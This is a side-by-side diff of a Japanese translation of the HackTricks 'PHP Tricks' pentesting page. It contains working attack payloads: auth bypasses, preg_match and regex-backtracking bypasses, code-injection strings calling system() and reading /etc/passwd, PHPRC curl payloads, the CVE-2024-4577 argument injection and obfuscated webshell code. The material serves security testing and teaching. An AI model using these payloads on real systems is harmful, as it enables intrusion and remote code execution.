**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -303,8 +303,8 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。** * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,23 +1,23 @@
# PHP Tricks # PHP Tricks
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>HackTricksをサポートする</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
@ -27,7 +27,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
これはphpMyAdminのクッキーにも当てはまります。 これはphpMyAdminのクッキーにも当てはまります。
Cookies: クッキー:
``` ```
PHPSESSID PHPSESSID
phpMyAdmin phpMyAdmin
@ -41,11 +41,11 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
``` ```
## PHPの比較をバイパスする ## PHPの比較をバイパスする
### 緩比較/型ジャグリング ( == ) ### 緩やかな比較/型ジャグリング ( == )
`==` がPHPで使用される場合、比較が期待通りに動作しない予期しないケースがあります。これは「==」が同じ型に変換された値のみを比較するためであり、比較されるデータの型も同じであることを比較したい場合は `===` を使用する必要があります。 PHPで`==`が使用されると、比較が期待通りに動作しない予期しないケースがあります。これは「==」が同じ型に変換された値のみを比較するためであり、比較されるデータの型も同じであることを比較したい場合は`===`を使用する必要があります。
PHP比較表: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php) PHP比較表: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
![](<../../../.gitbook/assets/image (567).png>) ![](<../../../.gitbook/assets/image (567).png>)
@ -55,14 +55,14 @@ PHP比較表: [https://www.php.net/manual/en/types.comparisons.php](https://www.
* `"0xAAAA" == "43690" -> True` 10進数または16進数形式の数字で構成された文字列は、数字が同じであれば他の数字/文字列と比較でき、結果はTrueになります文字列内の数字は数字として解釈されます * `"0xAAAA" == "43690" -> True` 10進数または16進数形式の数字で構成された文字列は、数字が同じであれば他の数字/文字列と比較でき、結果はTrueになります文字列内の数字は数字として解釈されます
* `"0e3264578" == 0 --> True` "0e"で始まり、何かが続く文字列は0と等しい * `"0e3264578" == 0 --> True` "0e"で始まり、何かが続く文字列は0と等しい
* `"0X3264578" == 0X --> True` "0"で始まり、任意の文字Xは任意の文字で続き、何かが続く文字列は0と等しい * `"0X3264578" == 0X --> True` "0"で始まり、任意の文字Xは任意の文字で続き、何かが続く文字列は0と等しい
* `"0e12334" == "0" --> True` これは非常に興味深いです。なぜなら、場合によっては「0」の文字列入力とそれにハッシュされて比較されるコンテンツを制御できるからです。したがって、「0e」で始まり、任意の文字がないハッシュを生成する値を提供できれば、比較をバイパスできる可能性があります。この形式の**すでにハッシュされた文字列**はここで見つけることができます: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) * `"0e12334" == "0" --> True` これは非常に興味深いです。なぜなら、場合によっては「0」の文字列入力とそれにハッシュされて比較されるコンテンツを制御できるからです。したがって、「0e」で始まり、任意の文字がない値を提供できれば、比較をバイパスできる可能性があります。この形式の**すでにハッシュされた文字列**はここで見つけることができます: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` 文字列内の任意の文字はint 0と等しい * `"X" == 0 --> True` 文字列内の任意の文字はint 0と等しい
詳細は [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) を参照してください。 詳細は[https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)を参照してください。
### **in\_array()** ### **in\_array()**
**型ジャグリング**はデフォルトで `in_array()` 関数にも影響を与えます厳密な比較を行うには、3番目の引数をtrueに設定する必要があります **型ジャグリング**はデフォルトで`in_array()`関数にも影響を与えます厳密な比較を行うには、3番目の引数をtrueに設定する必要があります
```php ```php
$values = array("apple","orange","pear","grape"); $values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values)); var_dump(in_array(0, $values));
@ -72,7 +72,7 @@ var_dump(in_array(0, $values, true));
``` ```
### strcmp()/strcasecmp() ### strcmp()/strcasecmp()
この関数が**任意の認証チェック**(パスワードの確認など)に使用されている場合、ユーザーが比較の一方を制御できると、パスワードの値として文字列の代わりに空の配列を送信することができ(`https://example.com/login.php/?username=admin&password[]=`)、このチェックをバイパスできます: この関数が**任意の認証チェック**(パスワードの確認など)に使用されている場合、ユーザーが比較の一方を制御できると、パスワードの値として文字列の代わりに空の配列を送信することができ(`https://example.com/login.php/?username=admin&password[]=`)、このチェックをバイパスすることができます:
```php ```php
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; } if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password // Real Password
@ -83,7 +83,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
### 厳密な型のジャグリング ### 厳密な型のジャグリング
`===`が**使用されている**場合でも、**比較が脆弱になる**ようなエラーが発生する可能性があります。例えば、比較が**比較する前にデータを異なる型のオブジェクトに変換している**場合: `===`が**使用されている**場合でも、**比較が脆弱**になる**型ジャグリング**を引き起こすエラーがある可能性があります。例えば、比較が**比較する前にデータを異なる型のオブジェクトに変換している**場合:
```php ```php
(int) "1abc" === (int) "1xyz" //This will be true (int) "1abc" === (int) "1xyz" //This will be true
``` ```
@ -106,18 +106,18 @@ echo preg_match("/^.*1/",$myinput);
echo preg_match("/^.*1.*$/",$myinput); echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1" //0 --> In this scenario preg_match DOESN'T find the char "1"
``` ```
このチェックを回避するには、**新しい行をURLエンコードした値を送信**するか`%0A`)、**JSONデータ**を送信できる場合は、**複数行で**送信します: このチェックを回避するには、**新しい行をURLエンコードした値を送信する**`%0A`、**JSONデータ**を送信できる場合は、**複数行で送信**します:
```php ```php
{ {
"cmd": "cat /etc/passwd" "cmd": "cat /etc/passwd"
} }
``` ```
Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice) ここに例があります: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
#### **長さエラーのバイパス** #### **長さエラーのバイパス**
(このバイパスは明らかにPHP 5.2.5で試され、PHP 7.3.15では動作させることができませんでした)\ (このバイパスは明らかに PHP 5.2.5 で試され、PHP 7.3.15 では動作しませんでした)\
`preg_match()`に有効な非常に**大きな入力**を送信できれば、**処理できなくなり**、チェックを**バイパス**することができます。たとえば、JSONをブラックリストにしている場合、次のように送信できます: `preg_match()` に有効な非常に **大きな入力** を送信できれば、**処理できなくなり**、チェックを **バイパス** できるようになります。たとえば、JSON をブラックリストにしている場合、次のように送信できます:
```bash ```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
``` ```
@ -129,13 +129,13 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
<figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure>
要するに、この問題はPHPの`preg_*`関数が[PCREライブラリ](http://www.pcre.org/)に基づいているために発生します。PCREでは、特定の正規表現が多くの再帰呼び出しを使用して一致され、これにより多くのスタックスペースが消費されます。許可される再帰の数に制限を設定することは可能ですが、PHPではこの制限は[デフォルトで100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)であり、スタックに収まる以上の数です。 要するに、この問題はPHPの`preg_*`関数が[PCREライブラリ](http://www.pcre.org/)に基づいているために発生します。PCREでは、特定の正規表現が多くの再帰呼び出しを使用して一致され、これにより多くのスタックスペースが消費されます。再帰の許可される回数に制限を設定することは可能ですが、PHPではこの制限は[デフォルトで100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)であり、スタックに収まる以上の数です。
[このStackoverflowスレッド](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)も、問題についてより深く語られている投稿にリンクされています。私たちのタスクは明確でした:\ [このStackoverflowスレッド](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)も、問題についてより深く語られている投稿にリンクされています。私たちのタスクは明確でした:\
**正規表現が100,000回以上の再帰を行うような入力を送信し、SIGSEGVを引き起こし、`preg_match()`関数が`false`を返すようにして、アプリケーションが私たちの入力を悪意のあるものではないと考えさせ、ペイロードの最後に`{system(<verybadcommand>)}`のような驚きを投げかけてSSTI --> RCE --> フラグを取得すること :)**。 **正規表現が100,000回以上の再帰を行うような入力を送信し、SIGSEGVを引き起こし、`preg_match()`関数が`false`を返すようにして、アプリケーションが私たちの入力を悪意のあるものではないと考えさせ、ペイロードの最後に`{system(<verybadcommand>)}`のような驚きを投げかけてSSTI --> RCE --> フラグを取得すること :)**。
さて、正規表現の用語で言えば、実際には100kの「再帰」を行っているわけではなく、「バックトラッキングステップ」を数えていす。これは[PHPのドキュメント](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)によれば、`pcre.backtrack_limit`変数でデフォルトで1,000,0001Mです。\ さて、正規表現の用語で言えば、実際には100kの「再帰」を行っているわけではなく、「バックトラッキングステップ」を数えているのです。これは[PHPのドキュメント](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)によれば、`pcre.backtrack_limit`変数のデフォルトは1,000,0001Mです。\
それを達成するために、`'X'*500_001`は100万のバックトラッキングステップ50万前進と50万後退)を生成します: それを達成するために、`'X'*500_001`は100万のバックトラッキングステップ500k前進と500k後退)を生成します:
```python ```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
``` ```
@ -152,7 +152,7 @@ $obfs += ""; //int 7
``` ```
## Execute After Redirect (EAR) ## Execute After Redirect (EAR)
もしPHPが別のページにリダイレクトしているが、ヘッダー`Location`が設定された後に**`die`**または**`exit`**関数が**呼び出されていない**場合、PHPは実行を続け、データをボディに追加します: もしPHPが別のページにリダイレクトしているが、ヘッダー`Location`が設定された後に**`die`**または**`exit`**関数が**呼び出されていない**場合、PHPは実行を続け、データをボディに追加します
```php ```php
<?php <?php
// In this page the page will be read and the content appended to the body of // In this page the page will be read and the content appended to the body of
@ -172,16 +172,16 @@ Check:
## さらなるトリック ## さらなるトリック
* **register\_globals**: **PHP < 4.1.1.1** または誤って設定された場合、**register\_globals** が有効である可能性があります(またはその動作が模倣されています)。これは、グローバル変数のように $\_GET に値がある場合、例えば $\_GET\["param"]="1234" のように、**$param を介してアクセスできることを意味します。したがって、HTTP パラメータを送信することで、コード内で使用される変数を上書きできます**。 * **register\_globals**: **PHP < 4.1.1.1** または誤って設定された場合、**register\_globals** が有効である可能性があります(またはその動作が模倣されています)。これは、グローバル変数のような $\_GET に値がある場合、例えば $\_GET\["param"]="1234" の場合、**$param を介してアクセスできることを意味します。したがって、HTTP パラメータを送信することで、コード内で使用される変数を上書きできます**。
* **同じドメインの PHPSESSION クッキーは同じ場所に保存されます**。したがって、ドメイン内で **異なるパスで異なるクッキーが使用されている場合**、そのパスが **他のパスのクッキーにアクセスするように設定することができます**。\ * **同じドメインの PHPSESSION クッキーは同じ場所に保存されます**。したがって、ドメイン内で **異なるパスで異なるクッキーが使用されている場合**、そのパスが **他のパスのクッキーにアクセスするように設定することができます**。\
この方法で、**両方のパスが同じ名前の変数にアクセスする場合**、**path1 のその変数の値を path2 に適用させることができます**。そして、path2 は path1 の変数を有効と見なします(クッキーに path2 に対応する名前を付けることによって)。 この方法で、**両方のパスが同じ名前の変数にアクセスする場合**、**path1 のその変数の値を path2 に適用させることができます**。そして、path2 は path1 の変数を有効と見なします(path2 に対応する名前のクッキーを与えることによって)。
* マシンの **ユーザー名** を持っている場合は、アドレス **/\~\<USERNAME>** を確認して、php ディレクトリが有効になっているかどうかを確認します。 * マシンの **ユーザー名** を持っている場合は、アドレス **/\~\<USERNAME>** を確認して、php ディレクトリが有効になっているかどうかを確認します。
* [**php ラッパーを使用した LFI と RCE**](../../../pentesting-web/file-inclusion/) * [**php ラッパーを使用した LFI と RCE**](../../../pentesting-web/file-inclusion/)
### password\_hash/password\_verify ### password\_hash/password\_verify
この関数は通常、PHP で **パスワードからハッシュを生成するため**、およびハッシュと比較してパスワードが正しいかどうかを **確認するため** に使用されます。\ この関数は通常、PHP で **パスワードからハッシュを生成するため**、および **ハッシュと比較してパスワードが正しいかどうかを確認するため** に使用されます。\
サポートされているアルゴリズムは: `PASSWORD_DEFAULT``PASSWORD_BCRYPT``$2y$` で始まります)。注意すべきは、**PASSWORD\_DEFAULT は頻繁に PASSWORD\_BCRYPT と同じであることです。** 現在、**PASSWORD\_BCRYPT** には **入力サイズ制限が 72 バイト** あります。したがって、このアルゴリズムで 72 バイトを超えるものをハッシュしようとすると、最初の 72B のみが使用されます: サポートされているアルゴリズムは: `PASSWORD_DEFAULT``PASSWORD_BCRYPT``$2y$` で始まります)。注意すべきは、**PASSWORD\_DEFAULT は頻繁に PASSWORD\_BCRYPT と同じであることです。** 現在、**PASSWORD\_BCRYPT** には **72 バイトの入力サイズ制限があります**。したがって、このアルゴリズムで 72 バイトを超えるものをハッシュしようとすると、最初の 72B のみが使用されます:
```php ```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW $cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False False
@ -193,9 +193,9 @@ True
#### ヘッダーを設定した後のエラーの発生 #### ヘッダーを設定した後のエラーの発生
[**このツイッタースレッド**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) から、1000 を超える GET パラメータや 1000 の POST パラメータ、または 20 のファイルを送信すると、PHP はレスポンスにヘッダーを設定しないことがわかります。 [**このツイッタースレッド**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19)から、1000を超えるGETパラメータや1000を超えるPOSTパラメータ、または20ファイルを送信すると、PHPはレスポンスにヘッダーを設定しないことがわかります。
これにより、例えば次のようなコードで設定されている CSP ヘッダーをバイパスすることが可能になります: これにより、例えば次のようなコードで設定されているCSPヘッダーをバイパスすることが可能になります:
```php ```php
<?php <?php
header("Content-Security-Policy: default-src 'none';"); header("Content-Security-Policy: default-src 'none';");
@ -204,7 +204,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
#### ヘッダーを設定する前にボディを埋める #### ヘッダーを設定する前にボディを埋める
もし**PHPページがエラーを印刷し、ユーザーが提供した入力をエコーしている**場合、ユーザーはPHPサーバーに**十分に長いコンテンツを印刷させる**ことができ、サーバーが**レスポンスにヘッダーを追加しようとするとエラーを投げる**ことになります。\ もし**PHPページがエラーを印刷し、ユーザーが提供した入力をエコーしている**場合、ユーザーはPHPサーバーに**十分に長いコンテンツを印刷させる**ことができ、サーバーが**レスポンスにヘッダーを追加しようとするとエラーを投げる**ことになります。\
次のシナリオでは、**攻撃者がサーバーに大きなエラーを投げさせ**、PHPが**ヘッダー情報を修正しようとしたときに、できなかった**ことが画面に示されています例えば、CSPヘッダーはユーザーに送信されませんでした 次のシナリオでは、**攻撃者がサーバーに大きなエラーを投げさせました**。画面で見ると、PHPが**ヘッダー情報を変更しようとしたとき、できなかった**ことがわかります例えば、CSPヘッダーはユーザーに送信されませんでした
![](<../../../.gitbook/assets/image (1085).png>) ![](<../../../.gitbook/assets/image (1085).png>)
@ -222,7 +222,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
**\`ls\`;**\ **\`ls\`;**\
**shell\_exec("ls");** **shell\_exec("ls");**
[こちらをチェックして、より便利なPHP関数を確認してください](php-useful-functions-disable\_functions-open\_basedir-bypass/) [こちらをチェックして、より便利なPHP関数を見つけてください](php-useful-functions-disable\_functions-open\_basedir-bypass/)
### **preg\_replace()**による**RCE** ### **preg\_replace()**による**RCE**
```php ```php
@ -247,16 +247,16 @@ preg_replace("/a/e","phpinfo()","whatever")
``` ```
?page=a','NeVeR') === false and system('ls') and strpos('a ?page=a','NeVeR') === false and system('ls') and strpos('a
``` ```
あなたは**コードの構文を** **壊し**、**ペイロードを** **追加**し、そして**再び修正する**必要があります。**論理演算子**を使用することができます、例えば "**and" または "%26%26" または "|"**。最初の条件が真である場合、ペイロードが実行されないため、"or"、"||"は機能しないことに注意してください。同様に、";"も機能しません、なぜならペイロードが実行されないからです。 あなたは**コードの構文を** **壊し**、**ペイロードを** **追加**し、そして**再び修正する**必要があります。**"and"や"%26%26"や"|"**のような**論理演算子**を使用できます。"or"や"||"は機能しないことに注意してください。最初の条件が真である場合、私たちのペイロードは実行されません。同様に、";"も機能しません。なぜなら、私たちのペイロードは実行されないからです。
**別のオプション**は、文字列にコマンドの実行を追加することです: `'.highlight_file('.passwd').'` **別のオプション**は、文字列にコマンドの実行を追加することです`'.highlight_file('.passwd').'`
**別のオプション**(内部コードがある場合)は、実行を変更するためにいくつかの変数を修正することです: `$file = "hola"` **別のオプション**(内部コードがある場合)は、実行を変更するためにいくつかの変数を修正することです`$file = "hola"`
### **usort()を介したRCE** ### **usort()を介したRCE**
この関数は、特定の関数を使用してアイテムの配列をソートするために使用されます。\ この関数は、特定の関数を使用してアイテムの配列をソートするために使用されます。\
この関数を悪用するには: この関数を悪用するには
```php ```php
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?> <?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();# VALUE: );phpinfo();#
@ -292,24 +292,24 @@ To discover the number of parenthesis that you need to close:
### RCE via Env Variables ### RCE via Env Variables
PHPの**env変数を変更する**ことを許可する脆弱性を見つけた場合(ファイルをアップロードするための別の脆弱性も必要ですが、さらに調査すればこれを回避できるかもしれません)、この動作を悪用して**RCE**を取得できます。 PHPで**env変数を変更**できる脆弱性を見つけた場合(ファイルをアップロードするための別の脆弱性も必要ですが、さらに調査すれば回避できるかもしれません)、この動作を悪用して**RCE**を取得できます。
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): この環境変数は、他のバイナリを実行する際に任意のライブラリを読み込むことを許可します(ただし、この場合は機能しないかもしれません)。 * [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): この環境変数は、他のバイナリを実行する際に任意のライブラリを読み込むことを許可します(ただし、この場合は機能しないかもしれません)。
* **`PHPRC`** : PHPに**設定ファイルの場所**を指示します。通常は `php.ini` と呼ばれます。独自の設定ファイルをアップロードできる場合は、`PHPRC`を使用してPHPにそれを指し示します。2番目のアップロードファイルを指定する**`auto_prepend_file`**エントリを追加します。この2番目のファイルには通常の**PHPコードが含まれ、PHPランタイムによって他のコードの前に実行されます**。 * **`PHPRC`** : PHPに**設定ファイルの場所**を指示します。通常は `php.ini` と呼ばれます。独自の設定ファイルをアップロードできる場合は、`PHPRC`を使用してPHPにそれを指し示します。2番目のアップロードファイルを指定する**`auto_prepend_file`**エントリを追加します。この2番目のファイルには通常の**PHPコードが含まれ、PHPランタイムによって他のコードの前に実行されます**。
1. シェルコードを含むPHPファイルをアップロードします。 1. シェルコードを含むPHPファイルをアップロードします。
2. 1ステップでアップロードしたファイルを実行するようにPHPプリプロセッサに指示する**`auto_prepend_file`**ディレクティブを含む2番目のファイルをアップロードします。 2. 1ステップでアップロードしたファイルを実行するようにPHPプリプロセッサに指示する**`auto_prepend_file`**ディレクティブを含む2番目のファイルをアップロードします。
3. `PHPRC`変数を2ステップでアップロードしたファイルに設定します。 3. `PHPRC`変数を2ステップでアップロードしたファイルに設定します。
* このチェーンを実行する方法についての詳細は[**元のレポートから**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)取得できます。 * このチェーンを実行する方法についての詳細は[**元のレポート**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)から取得できます。
* **PHPRC** - 別のオプション * **PHPRC** - 別のオプション
* **ファイルをアップロードできない**場合、FreeBSDでは**`stdin`**を含む"ファイル" `/dev/fd/0`を使用できます。これは、`stdin`に送信されたリクエストの**本体**です: * **ファイルをアップロードできない**場合、FreeBSDでは**`stdin`**を含む"ファイル" `/dev/fd/0`を使用できます。これは、`stdin`に送信されたリクエストの**本体**です:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'` * `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
* またはRCEを取得するために、**`allow_url_include`**を有効にし、**base64 PHPコード**を含むファイルを前置きします: * またはRCEを取得するために、**`allow_url_include`**を有効にし、**base64 PHPコード**を含むファイルを前置きします:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'` * `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
* 技術[**このレポートから**](https://vulncheck.com/blog/juniper-cve-2023-36845)。 * 技術[**このレポート**](https://vulncheck.com/blog/juniper-cve-2023-36845)から
### XAMPP CGI RCE - CVE-2024-4577 ### XAMPP CGI RCE - CVE-2024-4577
ウェブサーバーはHTTPリクエストを解析し、`http://host/cgi.php?foo=bar`のようなリクエストを実行するPHPスクリプトに渡します`php.exe cgi.php foo=bar`として。これにより、パラメータの注入が可能になります。これにより、ボディからPHPコードを読み込むために次のパラメータを注入できます WebサーバーはHTTPリクエストを解析し、`http://host/cgi.php?foo=bar`のようなリクエストを実行するPHPスクリプトに渡します`php.exe cgi.php foo=bar`として。これにより、パラメータの注入が可能になります。これにより、ボディからPHPコードを読み込むために次のパラメータを注入できます
```jsx ```jsx
-d allow_url_include=1 -d auto_prepend_file=php://input -d allow_url_include=1 -d auto_prepend_file=php://input
``` ```
@ -347,7 +347,7 @@ PHPアプリケーションをデバッグしている場合は、`/etc/php5/apa
### PHPコードのデオブフスケーション ### PHPコードのデオブフスケーション
PHPコードをデオブフスケートするには、**web**[ **www.unphp.net**](http://www.unphp.net) **を使用できます。** **www.unphp.net**を使用してPHPコードをデオブフスケートできます。
## PHPラッパーとプロトコル ## PHPラッパーとプロトコル
@ -355,7 +355,7 @@ PHPラッパーとプロトコルは、システム内の**書き込みおよび
## Xdebugの認証されていないRCE ## Xdebugの認証されていないRCE
`phpconfig()`の出力に**Xdebug**が**有効**であることが表示された場合は、[https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)を介してRCEを取得しようとするべきです。 `phpconfig()`の出力に**Xdebug**が**有効**であることが表示された場合は、[https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)を介してRCEを取得することを試みるべきです。
## 変数変数 ## 変数変数
```php ```php
@ -470,22 +470,22 @@ $___($_[_]); // ASSERT($_POST[_]);
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
